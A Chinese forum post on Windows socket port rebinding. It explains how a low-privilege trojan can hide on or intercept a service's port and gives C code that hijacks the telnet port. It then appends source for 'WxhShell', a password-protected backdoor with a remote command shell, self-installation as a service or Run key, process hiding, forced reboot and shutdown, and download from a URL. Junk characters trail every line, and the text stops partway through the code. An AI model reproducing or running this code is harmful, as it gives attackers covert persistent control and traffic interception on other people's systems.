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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0;V2>!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ZLBfQ+pM)  
"< [D1E\  
  saddr.sin_family = AF_INET; II),m8G  
=#uXO<   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); "j~=YW+l  
Oq|pd7fcgm  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); cITQ,ah  
CK.Z-_M  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 K\o!  
hcM 0?=  
  这意味着什么?意味着可以进行如下的攻击: oz@yF)/Sm  
h/PWi<R i  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #XNe4#  
T|oz_c\e  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "i9$w\lm  
{T=I~#LjMI  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7CNEP2}:R  
]%G[<zD,1  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  (}bP`[@rX!  
|L0s  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $JcU0tPq0  
y?Fh%%uNr  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Z\TH=UA  
d4gl V`%.  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 E]"ePdZZ/  
G+}|gG8  
  #include XnV|{X%]U  
  #include < R0c=BZ>  
  #include pH)V:BmJ  
  #include    ,7tN&R_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |1;0q<Ka  
  int main() dZv-lMYBE  
  { 6rdm=8WFA  
  WORD wVersionRequested; }LQ&AIRN  
  DWORD ret; "jb?P$  
  WSADATA wsaData; \'j%q\Bl;  
  BOOL val; 5AQ $xm4  
  SOCKADDR_IN saddr; 'J+Vw9 s7  
  SOCKADDR_IN scaddr; 1<pbO:r  
  int err; 0Ac]&N d`  
  SOCKET s; ]vhh*  
  SOCKET sc; O{LWQ"@y  
  int caddsize; Ks9"U^bPs  
  HANDLE mt; fv#e 8y  
  DWORD tid;   dht1I`i"B  
  wVersionRequested = MAKEWORD( 2, 2 ); T4._S:~  
  err = WSAStartup( wVersionRequested, &wsaData ); BL,YJM(y  
  if ( err != 0 ) { )%WS(S>8  
  printf("error!WSAStartup failed!\n"); Fb[<YX"  
  return -1; tNfku  
  } kXv -B-wOj  
  saddr.sin_family = AF_INET; Qz[~{-<  
   %p@A8'b  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1+Ja4`o,iS  
0=7C-A1(D  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Xg#Dbf4  
  saddr.sin_port = htons(23); &vd9\Pp  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ewu 7tq Z  
  { d\xh>o  
  printf("error!socket failed!\n"); -KbT[]  
  return -1; Cv~t~  
  } #%B1, .A  
  val = TRUE; JFl@{6c  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 X]Sr]M^EK  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) L@0DT&5  
  { "5ah{,  
  printf("error!setsockopt failed!\n"); 4 ILCvM  
  return -1; p}O@ %*p .  
  } sR'rY[^/|  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; I6h{S}2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 o^7}H{AE  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^vJ08gu_W  
3v5]L3  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) z2S53^C*  
  { 3fn6W)v?  
  ret=GetLastError(); HrWXPac A  
  printf("error!bind failed!\n"); {v<Ig{{V  
  return -1; aW$7:<A{  
  } ($[pCdY  
  listen(s,2); GS\-  
  while(1) 0t6s20*q  
  { Kx$?IxZ  
  caddsize = sizeof(scaddr); (m~MyT#S  
  //接受连接请求 ub./U@ 1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); cM.q^{d`  
  if(sc!=INVALID_SOCKET) ~@MIG  
  { [Gysx  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); BX2&tQSp  
  if(mt==NULL) ;sCX_`t0E  
  { 03AYW)"}M  
  printf("Thread Creat Failed!\n"); y! 7;Z~"  
  break; 'I*F(4x  
  } (\,mA-%E  
  } =`Nnd@3v  
  CloseHandle(mt); ~Og'IRf  
  } IiS1ubNtZ  
  closesocket(s); :n{rVn}G  
  WSACleanup(); @U:WWTzf  
  return 0; Q/-YLf.  
  }   wz T+V,   
  DWORD WINAPI ClientThread(LPVOID lpParam) __'Z0?.4#  
  { F2OU[Z,-]  
  SOCKET ss = (SOCKET)lpParam; *cq#>rN  
  SOCKET sc; ZXe[>H  
  unsigned char buf[4096]; b]Oc6zR,,~  
  SOCKADDR_IN saddr; }a-ikFQ]  
  long num; <`~] P$  
  DWORD val; "EQ}xj  
  DWORD ret; h$4V5V  
  //如果是隐藏端口应用的话,可以在此处加一些判断 z35n3q  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   U7bG(?k)  
  saddr.sin_family = AF_INET; j+PW9>Uh  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); E}.cz\!.  
  saddr.sin_port = htons(23); ;m@>v?zE  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c{s<W}3Ds  
  { `p*7MZ9 -  
  printf("error!socket failed!\n"); mWta B>f  
  return -1; hFs0qPVY  
  } DV]Kd 7  
  val = 100; &%C4rAd2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _n Oio?  
  { !f yE Hk  
  ret = GetLastError(); ~)Ny8Dh  
  return -1; OCY7Bls4  
  } XZJ}nXy  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZLxe$.V_  
  { 5H""_uw  
  ret = GetLastError(); C7eaioW$  
  return -1; 0 l G\QT  
  } j#<#o:If  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) DZ(e^vq  
  { X}h{xl   
  printf("error!socket connect failed!\n"); [&3G `8hY  
  closesocket(sc); wF$8#=  
  closesocket(ss); #^%Rk'W  
  return -1; /,$6`V  
  } ,K8PumM_  
  while(1) VCkhK9(N  
  { jFbz:aUF  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Eki7bT@/  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 W~Eq_J?I  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x]Q+M2g?  
  num = recv(ss,buf,4096,0); }us%G&A2u  
  if(num>0) _dIv{L!  
  send(sc,buf,num,0); _H<ur?G  
  else if(num==0) -Y2h vC  
  break; 'R,1Jmx  
  num = recv(sc,buf,4096,0); Hg*6I%D[So  
  if(num>0) xGPt5l<M&  
  send(ss,buf,num,0); V?0|#=_mE  
  else if(num==0) 3QM.X^ANH  
  break; |P>> ^,iUn  
  } 2px l!  
  closesocket(ss); /vwGSuk._  
  closesocket(sc); VL7zU->  
  return 0 ; OfbM]:}<3  
  } u L/*,[}'  
f*bs{H'5  
3 3s.p'  
========================================================== 5 S7\m5  
\CX`PZ><  
下边附上一个代码,,WXhSHELL adHHnH`,  
_+.z2} M  
========================================================== .ye5 ;A}  
@1^iWM j  
#include "stdafx.h" gy_n=jhi+  
d+ql@e]  
#include <stdio.h> /$/\$f$  
#include <string.h> OB;AgE@  
#include <windows.h> LtXFGPQf  
#include <winsock2.h> ,hYUxh45  
#include <winsvc.h> D9 ,~Fc  
#include <urlmon.h> d=Q0 /sI&  
L`yS '  
#pragma comment (lib, "Ws2_32.lib") rR^VW^|f  
#pragma comment (lib, "urlmon.lib") q}1AV7$Ai  
i *nNu-g  
#define MAX_USER   100 // 最大客户端连接数 !NZFo S~  
#define BUF_SOCK   200 // sock buffer oT_k"]~Q~2  
#define KEY_BUFF   255 // 输入 buffer fL' 42  
r#d~($[93  
#define REBOOT     0   // 重启 (LkGBnXE  
#define SHUTDOWN   1   // 关机 rF>:pS,`&  
C4#'`8E  
#define DEF_PORT   5000 // 监听端口 "Do9gW  
CdC&y}u  
#define REG_LEN     16   // 注册表键长度 ){5  $8  
#define SVC_LEN     80   // NT服务名长度 Rb',"` 7  
 ceyZ4M  
// 从dll定义API Mpb|qGi!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mWfzL'*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xud =(HLl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f.,S-1D]h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s)8g4Yc*  
7z5AI!s_  
// wxhshell配置信息 83OOM;'  
struct WSCFG { V`G)8?%Vy  
  int ws_port;         // 监听端口 u=p([ 5]  
  char ws_passstr[REG_LEN]; // 口令 *^}(LoPZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no xBl}=M?Qu  
  char ws_regname[REG_LEN]; // 注册表键名 m7~kRY514  
  char ws_svcname[REG_LEN]; // 服务名 ]@C&Q,~q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1`X{$mxw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xpRQ"6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 AQ'~EbH(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #e{l:!uS\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bCy.S.`jHQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o3qBRT0[R  
M,3sK!`>  
}; vqJiMa j@Z  
6- s/\  
// default Wxhshell configuration g.iiT/b  
struct WSCFG wscfg={DEF_PORT, D-69/3PvP  
    "xuhuanlingzhe", [ !].G=8  
    1, #zZQ@+5zw  
    "Wxhshell", j^Bo0{{  
    "Wxhshell", ?2aglj*"v,  
            "WxhShell Service", ||0mfb  
    "Wrsky Windows CmdShell Service", G\=7d%T+  
    "Please Input Your Password: ", ROW8YTYb  
  1, M(jSv  
  "http://www.wrsky.com/wxhshell.exe", [qI, $ +  
  "Wxhshell.exe" bmGIxBRq  
    }; o/)]z  
QZYD;&iY&  
// 消息定义模块 Nd%,V  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; > CZ|Vx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qVx4 t"%L>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rMdOE&5G  
char *msg_ws_ext="\n\rExit."; gcQ>:m i  
char *msg_ws_end="\n\rQuit."; mXAX%M U  
char *msg_ws_boot="\n\rReboot..."; ![0\m2~iv  
char *msg_ws_poff="\n\rShutdown..."; OLXG0@  
char *msg_ws_down="\n\rSave to "; ,1a6u3f,  
18zv]v %  
char *msg_ws_err="\n\rErr!"; 1I<fp $ h  
char *msg_ws_ok="\n\rOK!"; u?&P6|J&  
S)>L 0^M1  
char ExeFile[MAX_PATH]; UQ}[2x(Kb  
int nUser = 0; eYOwdTrq  
HANDLE handles[MAX_USER]; ;S7MP`o@  
int OsIsNt; K_G( J>  
sV%<U-X  
SERVICE_STATUS       serviceStatus; 7:)=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; u$X [=  
to|O]h2*U2  
// 函数声明 O>IY<]x>L  
int Install(void); `gDpb.=Y  
int Uninstall(void); %7x x"$P:R  
int DownloadFile(char *sURL, SOCKET wsh); g~rZ=  
int Boot(int flag); l#Ipo5=  
void HideProc(void); 9l]+ rs +  
int GetOsVer(void); Hca vA{H  
int Wxhshell(SOCKET wsl); h-].?X,]Q  
void TalkWithClient(void *cs); tMR&>hM  
int CmdShell(SOCKET sock); W_Z%CBjcT  
int StartFromService(void); sC(IeGbX  
int StartWxhshell(LPSTR lpCmdLine); $^?Mip  
.hzzoLI2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zn@<>o8hU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ; $i{>mDT  
zogw1g&C  
// 数据结构和表定义 hs!a'E  
SERVICE_TABLE_ENTRY DispatchTable[] = @!"w.@ Y  
{ {P&{+`sov  
{wscfg.ws_svcname, NTServiceMain}, iqreIMWz  
{NULL, NULL} TwH%P2)x  
}; =8?y$WE  
?\"GT]5D  
// 自我安装 3X=9$xw_  
int Install(void) >B!E 6ah  
{ ,.A@U*j  
  char svExeFile[MAX_PATH]; m9o{y6_j*  
  HKEY key; T~8==Z{[  
  strcpy(svExeFile,ExeFile); jhgS@g=@ZC  
UyTsUkY  
// 如果是win9x系统,修改注册表设为自启动 6!*be|<&  
if(!OsIsNt) { IW?).%F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U5\^[~vW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X ^8@T  
  RegCloseKey(key); ^~9fQJNs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BKvX,[R2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L-? ?%_=  
  RegCloseKey(key); zkt`7Pg;J  
  return 0; -K eoq  
    } z6)b XL[f  
  } m!Cvd9X=  
} }Go?j# !  
else { d,8L-pT$FM  
t(AW2{%}  
// 如果是NT以上系统,安装为系统服务 4'upbI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &&T\PspM  
if (schSCManager!=0) /Jj7 +?  
{ .ZQD`SRrI  
  SC_HANDLE schService = CreateService 6 <XQ'tM]N  
  ( >Q3_-yY+  
  schSCManager, : fMQ,S0  
  wscfg.ws_svcname, DB%}@IW"  
  wscfg.ws_svcdisp, "jV :L  
  SERVICE_ALL_ACCESS, =z^ 2KH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m#1 >y}  
  SERVICE_AUTO_START, !xk`oW  
  SERVICE_ERROR_NORMAL, |>|f?^  
  svExeFile, Oy EOb>  
  NULL, D+m#_'ocL  
  NULL, _/V <iv  
  NULL, (K xI*  
  NULL, \A7{kI  
  NULL 1Xzgm0OS;  
  ); G\&9.@`k  
  if (schService!=0) mv] .  
  { -UY5T@as  
  CloseServiceHandle(schService); IUf&*'_  
  CloseServiceHandle(schSCManager); uPCzs$R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V6Z~#=EQ  
  strcat(svExeFile,wscfg.ws_svcname); $~7uDq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3 @ahN2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M^IEu }  
  RegCloseKey(key); ?#s9@R1  
  return 0; " GRR,7A  
    } & pHSX  
  } bUvVt3cm  
  CloseServiceHandle(schSCManager); Z5/*i un  
} ,Tp:. "  
} tV?-   
MrjgV+P}[  
return 1; 5"sd  
} _D+pJ{@W  
g y5^JL  
// 自我卸载 )j,Y(V$P  
int Uninstall(void) de=){.7Y  
{ ^AhV1rBB  
  HKEY key; ~:FF"T>  
(A(j.[4a  
if(!OsIsNt) { s.|OdC>U =  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C)UL{n  
  RegDeleteValue(key,wscfg.ws_regname); {%wF*?gk  
  RegCloseKey(key); LV2#w_^I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |7%has3"  
  RegDeleteValue(key,wscfg.ws_regname); ncGt-l<9  
  RegCloseKey(key); #`]`gNB0Yg  
  return 0; Cv[_N%3[  
  } J.;!l   
} OQ(w]G0LP  
} 5Ve`j,`=<  
else { hGU  m7  
*kY JwO^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1;v,rs M  
if (schSCManager!=0) L|hELWru  
{ F8H4R7 8>;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8:t!m>(*  
  if (schService!=0) G&Fe2&5!w  
  { rU4;yy*b  
  if(DeleteService(schService)!=0) { NF "|*S  
  CloseServiceHandle(schService); &?[g8A  
  CloseServiceHandle(schSCManager); #| pn,/  
  return 0; !;3hN$5  
  } &x?m5%^l  
  CloseServiceHandle(schService); _D 9/,n$  
  } :6gRoMb]  
  CloseServiceHandle(schSCManager); h+rW%`B  
} 0tKVo]EK  
} ~3& *>H^U  
V15/~  
return 1; ^(kmFUV,Z  
} 0Q7|2{  
?K\r-J!Y  
// 从指定url下载文件 ZH)Jq^^RI  
int DownloadFile(char *sURL, SOCKET wsh) 9dVHh?E  
{ lvAKL>qX  
  HRESULT hr; E3LEeXcLS  
char seps[]= "/"; .oS[ DTn5S  
char *token; &w!(.uDO  
char *file; 8]K+,0m6  
char myURL[MAX_PATH]; )%q!XM  
char myFILE[MAX_PATH]; FMX ^k  
,ZI#p6  
strcpy(myURL,sURL); |A.nP9hW  
  token=strtok(myURL,seps); dVMduo  
  while(token!=NULL) 0fGt7 "Q  
  { 1%$t;R  
    file=token; =;"eZ  
  token=strtok(NULL,seps); W7W(jMH  
  } BZQ"[-V{  
9!_JV;2  
GetCurrentDirectory(MAX_PATH,myFILE); r^7eK)XA_  
strcat(myFILE, "\\"); _z=yt t9D  
strcat(myFILE, file); YEa<zhO8  
  send(wsh,myFILE,strlen(myFILE),0); l(Ya,/4  
send(wsh,"...",3,0); (: P#l&f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A("\m>g$b  
  if(hr==S_OK) ?[]jJ  
return 0; wP7 E8'  
else =pZ$oTR  
return 1; X2|&\G9c  
\3&1iA9=)  
} 6d`qgEM3  
"!Qi$ ]  
// 系统电源模块 b@S~ =  
int Boot(int flag) 7{tU'`P>  
{ C);3GPp  
  HANDLE hToken; XRmE  
  TOKEN_PRIVILEGES tkp; \_(|$Dhq  
.6!cHL3ln  
  if(OsIsNt) { bt*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o@m7@$7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !K-qoBqKM  
    tkp.PrivilegeCount = 1; X$Shi *U[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N\"Hf=Y(~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mBxMDnh  
if(flag==REBOOT) { =Fc}T%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) q[Tl#*P?y  
  return 0; :-_"[:t 5Z  
} -_xTs(;|8  
else { SP\s{,'F-b  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;VzdlCZ@  
  return 0;  wh#IQ.E-  
} I<Cm$8O?  
  } 9n49p?  
  else { GkxQEL  
if(flag==REBOOT) { "Lyb4#M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #eF,* d  
  return 0; e(?1`1  
} <*I*#WI&B  
else { A{dqB  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `z`=!1  
  return 0; mBEMwJ}O`  
} ]Exbuc  
} k]A =Q  
nq,:UYNJ  
return 1; R , #szTu  
} 8`s*+.LI!  
Pv=]7> e  
// win9x进程隐藏模块 f9OY> |a9  
void HideProc(void) *k Tj,&x[  
{ g*Pn_Yo[.  
2%v6h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p' 6h9/  
  if ( hKernel != NULL ) 6B]i}nFH{+  
  {  f,kV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >7)QdaB  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rmi&{o:  
    FreeLibrary(hKernel); aeVd.`lxM  
  } /oZvm   
9@?|rj e9  
return; WZn"I& Z  
} m7`S@qG  
)6BySk  
// 获取操作系统版本 Lxn-M5RPQ  
int GetOsVer(void) GPizR|}h  
{ 3kh!dL3D  
  OSVERSIONINFO winfo; k%8kt4\wn6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M;W&#Fz%  
  GetVersionEx(&winfo); 03A QB;.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3s?ZyQy  
  return 1; 2s=zT5  
  else GDs/U1[*  
  return 0; r"7 PSJ  
} tJ* /5k &  
\Unawv~  
// 客户端句柄模块 {3SK|J`  
int Wxhshell(SOCKET wsl) Q,:h`%V  
{ elR1NhB|p  
  SOCKET wsh; -]-0]*oAp  
  struct sockaddr_in client; MR: H3  
  DWORD myID; t\]kVo)  
'SXLnoeTa  
  while(nUser<MAX_USER) ;1s;"  
{ Vx:uqzw#  
  int nSize=sizeof(client); T*S) U ;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .76Z  
  if(wsh==INVALID_SOCKET) return 1; lfG',hlI;  
O$x +>^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xnJ#}-.7  
if(handles[nUser]==0) z:N?T0b(  
  closesocket(wsh); aO}p"-'  
else ,<C~DSAyZ  
  nUser++; [vz2< genn  
  } ?)[=>Kp  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Sj:c {jyJd  
GY5JPl  
  return 0; xOr"3;^  
} O>I%O^  
+3M1^:  
// 关闭 socket ?v-!`J>EF#  
void CloseIt(SOCKET wsh) <;@E .I\N  
{ [h_d1\ Cr  
closesocket(wsh); i-#Dc (9  
nUser--; foBF]7Bz?  
ExitThread(0); ?=1i:h  
} 6mIeV0Q'  
"r8N- h/P  
// 客户端请求句柄 l^%52m@{  
void TalkWithClient(void *cs) Bs|#7mA[  
{ hhhxsGyv  
@$CPTv3e  
  SOCKET wsh=(SOCKET)cs; KZ1m 2R}'  
  char pwd[SVC_LEN]; R&:Qy7"  
  char cmd[KEY_BUFF]; &|h9L'mr  
char chr[1]; z_#HJ}R=  
int i,j; X{[$4\di{  
ug'^$geM  
  while (nUser < MAX_USER) { 9 &Ry51  
-<AGCiLz  
if(wscfg.ws_passstr) { dj4a)p|YN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @HE?G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BlM(Q/z  
  //ZeroMemory(pwd,KEY_BUFF); U ]B-B+-  
      i=0; 2f{a||  
  while(i<SVC_LEN) { KxBvL[/  
Bk@EQdn  
  // 设置超时 :c Er{U8  
  fd_set FdRead; sk_xQo#Y 3  
  struct timeval TimeOut; gxJ12' m  
  FD_ZERO(&FdRead); h`eHoKJ#w  
  FD_SET(wsh,&FdRead); h Fan$W$  
  TimeOut.tv_sec=8; '*Tt$0#o  
  TimeOut.tv_usec=0; ynf!1!4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &OkPO|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _PQk<QZ  
<]_[o:nOP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [\%a7ji#  
  pwd=chr[0]; snNB;hkj  
  if(chr[0]==0xd || chr[0]==0xa) { ;TK$?hrv*1  
  pwd=0; *(XGNp[0  
  break; bPkz=^-  
  } pB]*cd B?  
  i++; 32y 9rz  
    } yigq#h^  
YN7O Qqa  
  // 如果是非法用户,关闭 socket cBU3Q<^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hBifn\dFr  
} ah(k!0PV  
d DAl n+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )c 79&S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yMmUOIxk\  
DMSC(Sz  
while(1) { ;#8xRLW  
.$Yp~  
  ZeroMemory(cmd,KEY_BUFF); E8t{[N6d  
<xrya _R?  
      // 自动支持客户端 telnet标准   s;[=B  
  j=0; R((KAl]dL  
  while(j<KEY_BUFF) { i=hA. y`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NO/5pz}1  
  cmd[j]=chr[0]; l<(jm{q?u  
  if(chr[0]==0xa || chr[0]==0xd) { 5zyd;y)|'  
  cmd[j]=0; S!^I<#d K  
  break; x^ cJ~e2  
  } Fiw^twz5  
  j++; 3Tc90p l*t  
    } FBOgaI83G  
!t{  
  // 下载文件 P?jI:'u!R.  
  if(strstr(cmd,"http://")) { {Q`Q2'@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); QF22_D<.}J  
  if(DownloadFile(cmd,wsh)) 0HQTe>!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); b&d4(dk  
  else *iyc,f^w  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jR+k x:+  
  } NSR][h_  
  else { #BgiDLh  
+CXq41g"c  
    switch(cmd[0]) { {d)L0KXK  
  10GU2a$0"$  
  // 帮助 m%.[|sZ3EM  
  case '?': { }^b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RXu` DWN  
    break; 9C!b f \  
  } <^942y-=  
  // 安装 9T1 - {s R  
  case 'i': { 3;!!`R>e  
    if(Install()) MOi1+`kwh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :2XX~|  
    else ~at:\h4:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T&:~=  
    break; Um*&S.y  
    } S0LaQ<9.  
  // 卸载 THgEHR0,}[  
  case 'r': { uU-1;m#N?  
    if(Uninstall()) afu!.}4Ct  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Vof<,x0  
    else '!`]Zc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EN8xn9M?  
    break; 41Ab,  
    } m6A\R KJ'  
  // 显示 wxhshell 所在路径 6 .[3N~pq  
  case 'p': { ;hEeFJ=/G  
    char svExeFile[MAX_PATH]; !-&;t7R  
    strcpy(svExeFile,"\n\r"); >9yy91H  
      strcat(svExeFile,ExeFile); glBS|b$\:  
        send(wsh,svExeFile,strlen(svExeFile),0); R:f ,g2  
    break; m9-=Y{&/  
    } kP^=  
  // 重启 {K:] dO  
  case 'b': { 2 i NZz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K `A8N  
    if(Boot(REBOOT)) X/m~^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^f,%dM=i=  
    else { Blj<|\ igc  
    closesocket(wsh); 1xO-tIp/  
    ExitThread(0); YlR9 1L X  
    } : JSuC  
    break; kE[R9RS!  
    } WYkh'sv >  
  // 关机 PY&mLux%  
